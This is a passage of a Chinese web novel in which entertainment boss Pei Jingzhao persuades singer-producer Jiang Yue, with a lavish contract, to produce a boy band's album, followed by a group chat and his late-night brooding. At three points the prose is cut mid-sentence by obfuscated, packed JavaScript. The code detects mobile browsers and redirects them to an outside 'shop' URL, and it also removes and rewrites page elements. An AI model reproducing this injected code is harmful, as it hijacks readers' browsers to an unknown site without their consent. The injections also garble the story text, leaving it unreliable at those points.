计划将原定于三年后启动的个人工作室项目,提前至今年年底。公司将提供顶级的团队、办公场地和启动资金,全力支持工作室的运营。 江玥的呼吸停滞了几秒。 成立个人工作室,是她和公司续约时提出的最远期的规划,是她实现半退休状态的终极目标。 现在,裴景昭把它直接摆在了眼前。 她几乎是屏着呼吸翻到了第三页。 是一张设计精美的海报: 【Coachella Valley Music and Arts Festival(科切拉音乐节)】 海报上,一行加粗的英文下,印着一长串星光熠熠的参演名单。 在一个极其显眼的位置,她看到了自己的名字——“江玥(Lumina)”。 科切拉! 世界顶级的音乐盛会,所有音乐人的梦想舞台。 这本来在江玥去年的巡演计划里,但是因为身体原因,遗憾地错过了那次机会,她为此消沉了好几天。 而现在,裴景昭把它重新递到了她的面前。 “主办方那边,我已经帮你沟通好了。”裴景昭的声音适时响起,“表演时间安排在落日时段,最好的时段之一。你可以带着你的新歌去,正好是五个月综艺档期结束后。” 下面的条款,江玥已经看不下去了。 她抬起头,难以置信地看着裴景昭。 这份补偿,何止是丰厚,简直是疯狂! 总制作人的最终决定权,意味着她在这张专辑里拥有皇帝一般的权力。 800万的制作人费用,远超国内一线制作人的市场价。 而最夸张的是30%的永久版权分成,对于一张偶像男团的专辑来说,这几乎等同于裴景昭白送了她一台印钞机。 更不用说后面还附带了对她个人事业的资源倾斜。 自主权、工作室、梦想的舞台…… 这不是补偿,这是收买,是对一个音乐人事业和梦想的最高成全。 裴景昭太了解江玥了。 他知道她想要什么,知道用什么才能让她动摇,让她无法拒绝。 是用她自己的梦想,来收买她去完成他的计划。 任何一个音乐人,在这样一份协议面前,都不可能不动心。 裴景昭这是下了血本。 “你疯了?” 江玥的声音干涩,难以置信道:“为了一个新人男团,你至于吗?” “至于。”裴景昭的回答斩钉截铁。 他凝视着江玥,眼神沉沉。 “NOVA7是公司未来的希望,我必须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16870163|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他们赌一把。” “而你,”他顿了顿,语气变得有些复杂,“是我认为最值得信赖的合作伙伴。” 裴景昭看着江玥紧绷的脸,放软了语气,“玥玥,我承认,这件事我办得不地道。但我的初衷,真的不是想让你为难。” “我只是……需要你帮我。” 最后几个字,他说得很轻。 江玥的心狠狠地跳了一下。 她居然从裴景昭的眼神里,读出了一些她从未见过的东西。 那不是老板对得力干将的欣赏,也不是合作伙伴之间的信任。 那是一种更私人,更深沉,甚至带着一丝恳求的情绪。 这让她感到一阵莫名的不自在。 “裴总,这不是钱的问题。”江玥避开他的视线,将那份协议推了回去,“这是信任的问题。” “你今天可以为了NOVA7骗我,明天就可以为了别的什么事情再骗我一次。我没办法和一个不坦诚的上司合作。” “我保证,这是最后一次。”裴景昭立刻说道,语气急切得不像他,“江玥,我承认我这次行事有失考量,但我对你,绝对没有任何恶意。” “我只是太想让你留下来了。” 他说这句话的时候,目光紧紧地锁着她,仿佛怕她下一秒就会消失一样。 办公室里的空气似乎都变得粘稠起来。 “留下来?” 江玥不明所以,却感觉自己的后颈一阵发毛,一种被猛兽盯上的危机感油然而生。 “……不,当我没说。” 裴景昭揉揉眉心,换了说辞,“我只是真的需要你帮我,帮一下NOVA7,江玥,我保证没有下次。” “我需要时间考虑。” 江玥扔下这句话,转身就想走。 她现在心很乱,需要一个人静下来好好思考。 “江玥。” 裴景昭在她身后叫住了她。 江玥停下脚步,但没有回头。 “我知道你现在很生气。” 裴景昭的声音从身后传来,带着一丝无奈的叹息,“你可以对我发火,可以提任何你想要的要求,只要我能做到。” “但是,可不可以别拒绝我,也别拒绝这个计划。” “NOVA7那群孩子是无辜的,他们把所有的希望都寄托在了你的身上。你今天听到的那些争论,那些不成熟的想法,都是因为他们真的想做出好音乐,真的想改变现状。” “别因为我的错,就否定他们的努力和期待。” “算我……求你。” 他的话轻得像一声叹息,却又重重地砸在了江玥的心上。 她僵在原地,手指紧紧地攥成了拳头。 脑海里闪过NOVA7那七张截然不同却又同样写满热切的脸,闪过凌骁那番虽然冲动却充满才华的构想,闪过纪星衍冷静分析下的无奈…… 她转过身,重新看向那个坐在沙发上的男人。 他正看着她,眼神复杂,有歉意,有恳求,还有一些她读不懂的东西。 江玥沉默良久,终于开口:“如果我留下,我要的,可能不止是这份协议上的东西。” 裴景昭:“你说。” “第一,关于NOVA7的专辑,我可以接手。但是,从现在开始,这个项目由我全权负责。我要最高的决策权,包括最终的风格走向和曲目选择,甚至成员的分工,你和公司都不能干涉。” “可以。”裴景昭毫不犹豫地答应了。 “第二,我不是他们的老师,更不是他们的保姆。我是制作人,他们是歌手。我们是平等的合作关系。我不负责解决他们的内部矛盾,也不负责他们的思想教育,我只负责音乐。” “当然。” “第三,”江玥思考两秒,说出了最关键的一条,“这份综艺,既然剧本已经写成了这样,那就将错就错,我要让它变成真正的制作人纪实综艺。 “所有的过程,包括他们之前的争论都要被记录下来。我要让观众看到,一张专辑的诞生,不是说说笑笑和旅行玩乐那么简单,这其中充满了争吵和妥协。我要让所有人知道,他们到底为了这张专辑付出了什么。” 她要撕开那层轻松愉快的综艺糖纸,露出底下最真实也最最残酷的创作内核。 这既是对裴景昭算计的一种反击,也是她作为一个制作人的骄傲。 听完她的话,裴景昭愣住了。 他凝视着江玥,看着她眼中的不肯服输,灼烧成一股偏要借力打力的火焰。 良久,他笑了。 发自内心,充满了欣赏和赞叹。 “好。”裴景昭站起身,走到江玥面前,朝着她伸出了手,“就按你说的办。从现在起,你就是NOVA7新专辑的总制作人。祝我们合作愉快。” 江玥看着他伸出的手,又看了看他脸上那抹真诚的笑容,心里的别扭和怒火,在巨大的现实利益和某种她说不清道不明的情绪中,诡异地消散了大半。 她迟疑了片刻,最终还是伸出手,与他交握。 “合作愉快。” 男人的手掌温暖而干燥。 在江玥收回手的那一刻,她似乎感觉到,对方的指腹在她的手心,若有似无地轻轻摩挲了一下。 触感一闪而逝,快得像是她的错觉。 江玥猛地收回手,抬眼看向裴景昭,对方却已经转过身,重新走回沙发边,脸上依恢复了运筹帷幄的从容表情,仿佛刚刚的一切都未曾发生。 “好了,总制作人,”裴景昭拿起那杯为她准备好的金骏眉,想要递给她。 “现在,是不是可以坐下来跟我聊聊,你打算怎么调、教那七个让你头疼的小子了?” 17.圈套 江玥没有接他递过来的茶,更没有依言坐下。 还坐下聊聊? 他说得云淡风轻,就像刚才的一切不过是一场无伤大雅的误会,现在误会解开,就该立刻投入到热火朝天的工作中去。 江玥不想聊。 她现在一个字都不想跟这个男人多说。 刚刚接受合作,不过是在巨大的利益和被戳中的梦想面前,一个社畜本能的妥协。 但她的情绪还停在被欺骗的愤怒和被算计的憋屈里,根本无法立刻切换到工作模式。 裴景昭举着茶杯的手停在半空中,见江玥不接,也不恼,顺势收了回来,自己浅浅地啜了一口。 “怎么了?”他看着她,明知故问,“江总制作人,还有什么不满意的地方吗?” 江玥只是站在原地,双臂环在胸前,落地窗外的阳光勾勒出她的轮廓。 她和他就这样隔着一张茶几对峙着,一个坐着,一个站着。 半晌,就在裴景昭以为她不会再开口的时候,江玥终于动了动嘴唇,声音很轻,带着自嘲的沙哑。 “我还以为你会雪藏我。” 这句话一出口,裴景昭脸上的笑容瞬间凝固了。 他脸上的温和神色尽数褪去,变成了混杂着错愕与荒谬的神情。 裴景昭的眉头猛地蹙起,认真地审视着江玥的脸,想判断她是不是在开玩笑。 江玥的表情无比认真。 这是她的真心话。 裴景昭不是什么好说话的主。 江玥在他手下工作多年,深知这个男人的手段。 他精明、强硬、杀伐果决,为了公司的利益可以毫不犹豫地牺牲任何人。 在他的商业帝国里,一切皆可量化,一切皆可交易。 过往不是没有艺人挑战过他的权威,下场都算不上好看。 像今天这样,她一个员工,踩着拖鞋冲进老板办公室,把平板拍在他面前兴师问罪……换做其他任何一个人,恐怕早就被保安请出去了。 可他没有生气,还给出了优渥到近乎疯狂的补偿条件。 这太反常了。 反常到让江玥感到了强烈的不安。 她宁愿相信这是暴风雨前的宁静,也不相信一个资本家会突然良心发现。 所以她问出了这句话,既是试探,也是一种自我保护下的最坏揣测。 裴景昭定定地看了她几秒钟,忽然,他低低地笑了起来。 带着浓浓的无奈和自嘲。 他向后靠进柔软的沙发里,抬手捏了捏自己的鼻梁。 “雪藏你?” 他摇摇头,语气里满是不可思议,“江玥,在你心里,我就是这么一个卸磨杀驴,过河拆桥的人?” 江玥没说话,但她警惕的眼神已经说明了一切。 在她看来,答案是肯定的。 裴景昭的眼神暗了暗,坐直了身体,脸上的笑意已经完全消失。 “我承认,在商业上,我做过很多不那么光彩的决定。为了公司的生存和发展,我牺牲过一些人的利益,也放弃过一些项目。” 他长呼一口气,继续道:“但是,江玥,这其中从来不包括你。” 裴景昭重新站起身,绕过茶几,一步一步地走到江玥面前。 高大的身影笼罩下来,带来一股无形的压迫感,但他的眼神里没有半分强势。 “雪藏你?” 他又重复了一遍这个词,颇有些咬牙切齿。 “我疯了吗?” 他离她很近,近到江玥能闻到他身上混合着淡淡雪松香的好闻味道。 “江玥,你知道我当初为了签下你,我花了多少心思吗?” “你知道为了给你争取最大的创作自由,我顶住了董事会多大的压力吗?” “你知道你的每一张专辑,从企划到发行,我都是会亲自过问的吗?” 裴景昭一连串的反问,让江玥有些发懵。 这些事情,她知道,又好像不完全知道。 她一直以为,这只是老板对自己手下值钱资产的常规重视。 “我是在做生意,没错。” “但生意和生意,是不一样的。” 裴景昭的目光紧紧锁着她雾霭粉的眸子,不让她有任何闪躲的机会,“你对我来说,从来不只是一张会带来收益的顶级合约。你是云际娱乐的招牌,是华语乐坛为数不多还在认真做音乐的珍宝。” “雪藏你?那等于亲手砸了我的镇店之宝,我得多想不开才会做这种自讨苦吃的事情?” 他的话,一半是商业逻辑,一半却是私人化的感慨。 裴景昭把话说得很漂亮,把对她的特殊待遇,包装成了对顶级艺人的保护。 这让江玥无法反驳,却又觉得哪里不对劲。 江玥被他看得有些不自在,下意识地想后退一步,拉开距离。 但裴景昭看穿了她的意图,在她动之前,他又往前走了一小步,始终保持着很近的距离。 “还是说,”他的声音压得更低,带着一丝危险的磁性,“你觉得,用这种方式把你请过来,是因为我不够尊重你?” 他微微弯下腰,视线与江玥齐平。 “那我要郑重地再向你道歉一次,抱歉,江玥。” “但我还是要说,我没有别的办法,玥玥,对你太客气,你会躲得远远的。” “对你太强硬,又怕伤了我们之间的感情。我只能用你最想要的东西,把你留下来。” 这几句话亲昵得让江玥头皮发麻。 什么感情,他们之间哪来的感情? 什么时候的事? 这也没通知她啊! “裴总,我累了。” 江玥几乎是立刻脱口而出,声音干巴巴的。 她不想再待下去了。 这个男人太危险,这个办公室里的空气太稀薄。 “合作的事情,我会履行。但现在,我需要休息。” 说完,她不再看他,转身快步走向门口。 手刚握上门把手,身后就传来了裴景昭带着几分哭笑不得的声音。 “别急啊,玥玥。” “时间紧迫,我们先把综艺的事敲定下来你再走,行吗?” 裴景昭已经走回了办公桌后,双手撑在桌面上,身体微微前倾,摆出了一副纯粹的商业谈判姿态。 “我不开那些玩笑了,坐吧,我们聊正事。” 江玥沉默着转过身,在对方切换自如的老板模式下,怒火渐渐冷却,转化为疲惫。 他说的没错。 既然已经答应了合作,那后续的工作细节就必须敲定。 江玥不情不愿走回来拉开椅子,隔着一张宽大的办公桌,与他对面而坐。 这个距离让她感到安全。 “说吧,裴总。”她言简意赅,脸上没有任何多余的表情。 “《环球音乐之旅》这个项目,前期投入了大量的宣发资源,官方通告也已经发出去了。” 裴景昭十指交叉,语气恢复了商人的理性,“所以,综艺的整体框架和旅行这个主题是无法再更改的。” 江玥抬眸看了他一眼,没有说话,眼神里写着继续。 “但是,”裴景昭话锋一转,身体向后靠进舒适的真皮座椅里,“你刚才提的要求,我也答应了。一个真正聚焦于音乐制作过程的纪实综艺,这个概念很好,非常有深度,也符合你一贯的调性。” 他看着江玥,给出了一个堪称完美的解决方案。 “所以,我们可以同步进行。” “同步?”江玥皱起了眉。 裴景昭看着她终于有了反应,心里暗暗松了口气。 他走回沙发边,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16882176|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有坐下,在电脑上调出了一个时间规划表,然后将屏幕转向江玥。 “我的想法是这样。” 他指着屏幕上的时间轴,“《环球音乐之旅》这个项目,为期三个月,这部分,我们完全按照原计划进行。” 他抬起眼,看着江玥,语气放得极软,带着哄劝的意味。 “这三个月,你就当它是公司真正给你放的一个带薪旅游的假期。” “你不需要背负任何KPI,不需要考虑专辑销量,不需要去解决那七个小子的内部矛盾。” “你就负责放松,负责玩,负责找灵感。高兴了,就跟他们聊聊音乐,不高兴了,就自己去逛街看展,所有的镜头都会围绕着轻松和旅行来展开。这部分内容,会剪辑成《环球音乐之旅》播出。” “只要别忘了合同里写的合作完成旅行歌曲的创作或改编,并在当地地标进行一场小型公开演出,就行了。” 江玥皱着眉,没有说话。 这听起来,倒是回到了她最初收到的那份企划案的内容。 裴景昭的手指在时间轴上向后滑动。 “等到这三个月的旅行综艺结束,接踵而至的,就是你要求的,真正的制作人综艺。” “从你们结束《环球音乐之旅》回到国内的那一刻起,第二个摄制组会立刻跟上。” “他们将全程记录你作为总制作人,如何将旅行中收集到的灵感,落实成一张完整的专辑。” “所有的争吵、磨合、技术攻关、录音过程……你想要的一切真实,我们都拍下来。” “这个新的综艺,名字我都想好了,就叫《BEHIND THE SONG:音乐制作背后》。” “……当然如果你不满意这个名字也可以再修改。” “它会作为《环球音乐之旅》的番外篇,或者一个独立的综艺播出。这样既可以满足平台对旅行综艺的需求,也可以实现你想要的专业性和真实性。” 裴景昭说完,静静地看着江玥,等待她的反应。 这的确是一个两全其美的方案。 他用偷梁换柱的方式,既保住了原来的项目,又凭空创造出了一个全新的项目来满足江玥的要求。 既给了江玥台阶下,又满足了他从头到尾的目的。 “所以,我还是得给他们做专辑。”江玥指出了核心。 “是。”裴景昭坦然承认,“但你拥有了绝对的主导权,一份优渥的酬劳,一个独立的综艺来展现你的专业,以及——” 他顿了顿,目光落在被江玥推到一旁的补充协议上,“一个让你无法拒绝的未来。” 江玥也随着他的目光看向协议。 工作室、科切拉、绝对的创作自由。 她感到深深的疲惫。 和裴景昭这种人博弈,太累了。 他永远能精准地抓住你的软肋,然后用你最渴望的东西作为武器,让你心甘情愿地缴械投降。 “制作人综艺的时长和地点呢?” 最后,江玥没抗住诱惑,算是松了口,开始询问细节。 这代表着她接受了这个方案。 于是裴景昭的嘴角勾起一个胜利的弧度。 “和你之前了解的一样,为期两个月。地点就在NOVA House,也就是你们现在住的那栋别墅。” “那里的录音棚我会让人按照国内最高标准改造,足够满足你的所有技术需求。而且,住在那里,也方便你和他们随时沟通,随时开工。” 他又补充了一句,“当然,这两个月的拍摄,也会有额外的通告费。” 江玥扯了扯嘴角。 又是钱。 裴景昭似乎认为,所有问题,都可以用钱来解决。 可悲的是,在很多时候,这个定律确实有效。 “所以,我还是得跟他们住在一起?” 18.妥协 “这是最高效的方式。” “玥玥,只有两个月,时间非常紧张。我不希望你把时间浪费在通勤上。” 裴景昭看着江玥,语气又放缓了一些。 “我知道你不喜欢和其他人住在一起。但这次,就当是为了工作委屈一下。如有必要,我会让团队把你的生活区域和他们的完全隔开,保证你的私人空间不被打扰。” 江玥没再反驳。 “还有什么要求吗?关于综艺内容,或者其他任何方面。” 裴景昭问道,一副她提任何要求他都会答应的样子。 裴景昭补充的方案,从商业角度来看无懈可击。 甚至对江玥自己来说,也是目前状况下最好的选择。 把繁琐的专辑制作过程,从轻松的旅行综艺中剥离出来,让她可以更专注,也更符合她想要呈现的预期。 良久,江玥开口,提出了她的条件:“我需要绝对的剪辑权。那档衍生节目的所有最终剪辑版本,必须由我或我指定的人来确认。” 她不想让那些最真实的创作过程,被后期剪辑成一地鸡毛的互撕戏码来博取眼球。 “没问题。”裴景昭答应得十分爽快,“我会给你配备业内最好的后期团队,最终成片,你点头了才算数。” 江玥补充:“还有一件事,《环球音乐之旅》那边的拍摄,我要知道脚本,我要确保不会有任何强行安排的互动环节。” “当然。”裴景昭笑笑,“那本来就是给你放的假,怎么舒服怎么来,没有脚本。如果他们让你感到不适,你可以随时喊停。所有的后果,公司来承担。” 他给出的自由度简直大到离谱。 江玥看着他,心中的疑云越来越重。 他这不像是在安抚一个员工,更像是在……哄人? 这个念头使江玥感到一阵恶寒,她连忙甩开脑中荒谬的念头,将注意力重新拉回到工作上。 两人又针对衍生节目的时长、风格定位、宣传节奏等细节进行了一番讨论。 整个过程,裴景昭表现出了极大的耐心和尊重,几乎对江玥的所有要求都照单全收。 他不再是满心算计的样子,转变为一个高效专业的合作伙伴,逻辑清晰,反应迅速,总能精准地理解她的意图,并给出可行的方案。 这种状态,才是江玥最习惯的。 当所有公事都敲定下来,江玥站起身。 “就这样吧。”她说。 “好。”裴景昭点点头,将那份补充协议,连同笔,一起推到了江玥面前。 “那就辛苦总制作人把字签了。” 江玥看着那份协议,又看了看裴景昭。 男人脸上依旧挂着温和的微笑,像一位体贴周到的合作伙伴。 但江玥却莫名从他背后,看到了一只老狐狸奸计得逞后摇晃的蓬松尾巴。 她终究还是落进了他的圈套里。 一个用梦想和金钱精心编织出来的华丽圈套。 江玥拿起笔,在签名栏上写下了自己的名字。 但至少这次,她是心甘情愿的。 “好了。”裴景昭也站了起来,没有再挽留。 他绕过办公桌,亲自为她拉开了办公室的门,做了一个“请”的手势。 “还有,”他顿了顿,“拖鞋很可爱。” 江玥的身体僵了一下。 她没有回答,拉开门,不再给裴景昭任何开口的机会,径直走了出去,只留给他一个背影。 厚重的木门在身后缓缓合上,将令人不安的视线彻底隔绝。 江玥乘坐上电梯,手心里已经出了一层薄汗,脑子里乱成一团浆糊。 裴景昭反常的态度,那份疯狂的补偿协议,他那些意有所指的话,还有最后那个近乎亲昵的提醒。 她忽然意识到,自己或许掉进了一个更麻烦的陷阱里。 不行,裴景昭心眼子太多了,他今天说的所有话都不能往心里细想,只有真正捏在手里的利益才是最真实的。 想到此处,江玥反而冷静下来。 被欺骗的不爽还在,但被沉甸甸的补充协议一砸,似乎也没那么难以忍受了。 她甚至有些乐呵地开始计算,30%的永久版权分成,如果NOVA7真的能被她打造成顶流,那会是一笔多么可观的退休金。 ……可笑。 她木着脸,发现自己竟然被老狐狸用最俗套的金钱攻势安抚了。 江玥自嘲地扯了扯嘴角。 算了,跟钱过不去,才是真的傻。 * * 办公室里,裴景昭还站在原地。 他看着紧闭的门,脸上的笑容慢慢敛去,许久没有动。 直到门外再也听不到任何声响,他才缓缓地转过身,走回窗边,看着江玥的身影穿过花园,消失在看不见的拐角。 裴景昭拿起刚签好的协议,指腹轻轻摩挲着对方的名字落款处,眼神变得复杂。 “雪藏你?” 他低声自语,嘴角勾起些许弧度。 他怎么舍得。 他花了那么多年,才终于找到一个能名正言顺地将她拉到自己身边,将她和自己的事业紧紧地捆绑在一起的机会。 他怎么可能会放她走。 裴景昭叹气,把两杯凉透的茶全喝了。 紧接着,他拿起手机,拨通了助理的电话。 “通知综艺导演组,立刻开会,就按我刚刚发过去的新方案执行。” “还有,”他组织了一下语言,“去查一下江玥的鞋码,给她准备几双舒服的平底鞋。另外,让厨房准备一些她爱吃的菜,清淡一点的,晚上送到NOVA House去。” 做完这些,他有些疲惫地坐回椅子里,放空大脑。 “嗡嗡。” 几十分钟后,手机震动了几下。 弹出的对话窗口是属于裴景昭、沈斯延、宿夜白三人的专属群聊。 【沈斯延:@裴景昭裴总,听说今天有人踩着拖鞋把你办公室门给踹了?】 【宿夜白:踹?不,我听说是用平板电脑给他开了个瓢。】 【沈斯延:真的假的?咱们的公司一姐居然敢在老虎头上拔毛?】 【宿夜白:假的。】 【宿夜白:但是我助理刚从楼下回来,说整个总裁办楼层都听见了关门那声巨响,跟打雷似的。】 【沈斯延:所以呢?我们说一不二的裴总,把人扔出去了吗?】 【宿夜白:扔?他怕是连句重话都没敢说。】 【沈斯延:啧啧,什么情况,展开说说。】 【宿夜白:我的人说,最后江玥是自己走出来的,裴景昭还亲自给人开门,那姿态,就差鞠躬说您慢走了。】 【沈斯延:哟呵,裴景昭被人夺舍了?】 【宿夜白:然后你猜怎么着,人刚走,裴总就一个电话打到后勤,让人去查江玥的鞋码,说要给她买新鞋,还要平底鞋,生怕人崴脚。】 【沈斯延:……】 【宿夜白:还让厨房晚上给NOVA House送餐,点名要江玥爱吃的那几样,还特地嘱咐要清淡。】 【宿夜白:啧啧啧,裴景昭,你没事吧?一个艺人把你拿捏成这样?】 裴景昭看着这俩发小在背地里编排他,头疼地捏捏眉心,打字回复群聊。 【裴景昭:有空在这儿聊八卦,不如关心一下你们自己的工作。】 【裴景昭:沈斯延,你下部戏的本子看了吗? @沈斯延】 【裴景昭:宿夜白,你下一季的秀场主题定了吗? @宿夜白】 【沈斯延:哟,急了。】 【宿夜白:他急了。】 【裴景昭:我没急。】 【裴景昭:我那只是在进行合理的员工安抚。】 【沈斯延:你管这叫合理?你当初安抚我的时候,就是直接把亏损的财务报表甩我脸上,让我自己选是赔钱还是多接几个代言?】 【宿夜白:他安抚我的时候,直接停了我的工资,逼我把设计稿赶出来。】 【沈斯延:到江玥这儿,就是买鞋、送饭、签天价补充协议?】 【沈斯延:裴景昭,你这安抚标准是不是有点太双标了?】 【宿夜白:这不是双标,这是舔狗。】 【裴景昭:……】 【裴景昭:我再说一遍,这是对核心摇钱树的特殊补偿。江玥的商业价值和创作能力,值得这个待遇。】 【裴景昭:你们两个懂个屁。】 【沈斯延:哦~核心摇钱树。】 【宿夜白:哦~特殊补偿。】 “……啧。” 屏幕前的裴景昭无话可说,只得郁卒地右滑群资料,然后一键点击退群。 【裴景昭已退出群聊】 【沈斯延:哈哈哈哈哈哈哈哈哈哈他破防了!】 【宿夜白:他明天会自己加回来的。】 【宿夜白:就像你上次那样。】 【沈斯延:……】 【沈斯延已退出群聊】 【京华养老F 已解散 】 * * 夜深了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16895830|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴景昭躺在床上,毫无睡意。 他脑子里乱糟糟的,全是江玥。 他回想着在签下了天价补充协议之后,对方的眼神里依旧带着警惕。 里面是无论他给出多少优待,摆出多低姿态,都无法穿透的壁垒。 越想越烦。 裴景昭从口袋里拿出手机,解锁屏幕,最后鬼使神差地点开了绿色的气泡图标。 置顶的其中一人就是江玥。 他点了进去。 江玥的朋友圈和他记忆中的一样,干净得有些过分。 最新的动态,还停留在一个月前,是为了她的新专辑做的常规宣传,配图是一张意境大于人形的专辑封面。 裴景昭的手指无意识地向下滑动,翻看着她过往为数不多的动态。 绝大部分都是工作相关:新歌发布、演出通报、合作宣传……偶尔,会有几张她自己拍的风景照,构图很随意,像是在旅途中随手一拍。 有时也会转发某本书的节选,或是某部冷门电影的海报,配上几个字的简单感想。 仅此而已。 她的个人生活像是一片被浓雾笼罩的深海,从不轻易向外界展露分毫。 你只能通过那些作品的缝隙,窥见一点点深海里闪烁的神秘光晕。 这很符合她的性格,却也让试图了解她的人,感到一种无从下手的遥远。 裴景昭忽然很想知道,此时此刻她在做什么。 是在为即将开始的综艺工作做准备? 还是已经开始为NOVA7的新专辑思考方向? 或者…… 她是不是,也像他一样,还没有睡? 裴景昭干脆坐起来,拿起手机,点开了网抑云音乐。 他想听听她的歌。 或许,从她的音乐里,能找到一些让他心安的线索。 他从她的第一首曲子《末班车》开始听。 “末班车摇摇晃晃地前行,靠窗的人低头按着手机……谁在起雾的玻璃上面,写下一个缺笔少划的姓名……” 青涩的嗓音,简单的编曲,却像一把小钩子轻轻挠着他的心。 然后是《偏要疯长》。 "要是必须坠落,就坠入未被命名的深巷,收集所有驯服的阴影,铸成通往蛮荒的船桨……” 那股子不服输的劲儿,隔着耳机都能感受到。 再到《晨光与旧信箱》、《锈斑》…… 一首一首听下来,裴景昭的心情愈发烦躁了。 他发现,江玥的每一首歌,都像她这个人一样。 表面上看起来清冷疏离,甚至带着点丧气,但灵魂里却藏着最烈的火,身躯里也是最硬的骨头。 她写告别,写终结,写腐朽,写文明的悲哀。 她的世界里,似乎永远没有那种轻飘飘又甜腻腻的,属于年轻人的粉色泡泡。 她到底在想什么? 她经历过什么? 她为什么总是那么悲观? 或许……是因为她是殡葬专业转行来唱歌的? 裴景昭思考良久,只得出这个浅显的结论。 最后,他点开了让江玥一战封神的《昼夜》。 “……昼夜刹那交替,万籁归于空白……天光倾泻而下,照亮所有尘埃……” 这首歌他单曲循环了不知道多少次,早就烂熟于心。 裴景昭闭上眼睛,靠在床头,不由自主跟着哼唱。 “来年春风路过,新旧枝条斑驳,生死的长路上,昼夜交错,万物都哼着歌……” 裴景昭忽然觉得,自己好像从来没有真正读懂过江玥。 他把她当成最珍贵的摇钱树,把她捧在手心,给了她最优渥的资源,以为这样就能让她开心,让她创作出更好的作品。 可她的歌里,却永远充满了对这个世界的审视。 他给她的那些东西,她到底在不在乎? 还是说,她根本就不需要这些? 裴景昭感到前所未有的挫败。 他烦躁地关掉音乐,抓起手机,点开了发小的对话框。 【裴景昭:睡了没?】 【宿夜白:?】 【裴景昭:问你个事。】 【宿夜白:说。】 【裴景昭:怎么才能让一个人真正地开心起来?发自内心的那种。】 宿夜白那边沉默了很久。 久到裴景昭以为他睡着了。 就在他准备放下手机的时候,对方的消息才慢悠悠地弹了出来。 【宿夜白:你终于意识到,光给钱是没用的了?】